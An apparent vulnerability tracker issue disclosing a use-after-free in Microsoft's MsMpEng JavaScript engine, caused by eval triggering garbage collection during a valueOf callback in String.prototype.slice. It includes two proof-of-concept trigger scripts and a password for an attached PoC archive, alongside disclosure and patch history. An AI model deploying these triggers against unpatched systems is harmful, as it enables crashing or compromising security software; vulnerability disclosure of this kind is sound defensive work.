New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 1258 link

Starred by 2 users

Issue metadata

Status: Fixed
Last visit 15 days ago
Closed: May 2017

Sign in to add a comment

Windows MsMpEng remotely exploitable UaF due to design issue in GC engine

Project Member Reported by, May 12 2017

Issue description

MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.

During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.

MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.

The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.

The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.

The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:

  JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
  JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
  // nothing (apart from maybe JSBench?) is rooting this_str as long as we
  // don't keep any references to it in script
  // the native code needs to prevent GC to keep it alive while it needs it
  int len = JsString::numBytes(this_str); // okay because this can't cause GC

  int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );

  // this calls valueOf() on the first argument
  // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()

  // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
  // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
  // which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
  // the native stack isn't scanned and no script objects reference it.)
  // the code continues and does something like this:
  JsString::initBySub(jsState, this_str ...
  // that ends up calling a virtual method on the free’d this_str

PoC script:

function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;};, l);

PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"
21.2 KB Download
Project Member

Comment 1 by, May 12 2017

Labels: Reported-2017-May-12
Project Member

Comment 2 by, May 13 2017

Labels: msrc-case-38698
MSRC case 38698
Project Member

Comment 3 by, May 25 2017

From what I can tell, Microsoft silently patched this yesterday in mpengine 1.1.13804.0.

They also fixed  issue 1258 ,  issue 1259 ,  issue 1260  and  issue 1261 .
Project Member

Comment 4 by, May 29 2017

Here's a clearer PoC not all on one line for the mpengine shell :)

function gc() {
  eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");

var x = Object();
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
// if we do want to return a string object it has to have more than three characters so it doesn't use the 
// inline string optimization
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};

var l = Object();
l.valueOf = function() {gc(); return 1;};, l);
Project Member

Comment 5 by, May 29 2017

Labels: Fixed-2017-May-24 CVE-2017-8540
Status: Fixed (was: New)
Microsoft Advisory:
Project Member

Comment 6 by, May 30 2017

Labels: -Restrict-View-Commit

Sign in to add a comment